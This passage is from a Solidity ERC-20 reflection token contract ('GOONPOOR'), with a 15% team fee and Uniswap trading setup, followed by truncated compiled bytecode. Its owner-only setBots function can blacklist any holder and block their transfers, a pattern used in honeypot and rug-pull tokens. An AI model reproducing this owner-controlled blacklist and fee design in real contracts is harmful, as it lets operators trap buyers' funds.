public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract goonpoor is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "@1goonpoor"; string private constant _symbol = 'GOONPOOR'; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 15; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 1 * 10**12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061161f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117ce565b6040518082815260200191505060405180910390f35b60606040518060400160405280600a81526020017f4031676f6f6e706f6f7200000000000000000000000000000000000000000000815250905090565b600061076b610764611855565b848461185d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a54565b6108548461079f611855565b61084f85604051806060016040528060288152602001613d4160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611855565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b39092919063ffffffff16565b61185d565b600190509392505050565b610867611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611855565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612373565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246e565b90505b919050565b610bd5611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f474f4f4e504f4f52000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611855565b8484611a54565b6001905092915050565b610ddf611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611855565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124f2565b50565b610fa9611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550683635c9adc5dea000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115e057600080fd5b505af11580156115f4573d6000803e3d6000fd5b505050506040513d602081101561160a57600080fd5b81019080805190602001909291905050505050565b611627611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161175d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61178c606461177e83683635c9adc5dea000006127dc90919063ffffffff16565b61286290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613db76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611969576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cfe6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d926025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613cb16023913960400191505060405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d696029913960400191505060405180910390fd5b611bc1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121f057601360179054906101000a900460ff1615611e95573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d655750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611dab611855565b73ffffffffffffffffffffffffffffffffffffffff161480611e215750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e09611855565b73ffffffffffffffffffffffffffffffffffffffff16145b611e93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f8557601454811115611ed757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f7b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f8457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120305750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120865750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561209e5750601360179054906101000a900460ff165b156121365742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120ee57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061214130610ae2565b9050601360159054906101000a900460ff161580156121ae5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121c65750601360169054906101000a900460ff165b156121ee576121d4816124f2565b600047905060008111156121ec576121eb47612373565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122975750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122a157600090505b6122ad848484846128ac565b50505050565b6000838311158290612360576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561232557808201518184015260208101905061230a565b50505050905090810190601f1680156123525780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123c360028461286290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123ee573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61243f60028461286290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561246a573d6000803e3d6000fd5b5050565b6000600a548211156124cb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cd4602a913960400191505060405180910390fd5b60006124d5612b03565b90506124ea818461286290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561252757600080fd5b506040519080825280602002602001820160405280156125565781602001602082028036833780820191505090505b509050308160008151811061256757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561260957600080fd5b505afa15801561261d573d6000803e3d6000fd5b505050506040513d602081101561263357600080fd5b81019080805190602001909291905050508160018151811061265157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126b830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561277c578082015181840152602081019050612761565b505050509050019650505050505050600060405180830381600087803b1580156127a557600080fd5b505af11580156127b9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127ef576000905061285c565b600082840290508284828161280057fe5b0414612857576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d206021913960400191505060405180910390fd5b809150505b92915050565b60006128a483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b2e565b905092915050565b806128ba576128b9612bf4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561295d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129725761296d848484612c37565b612aef565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001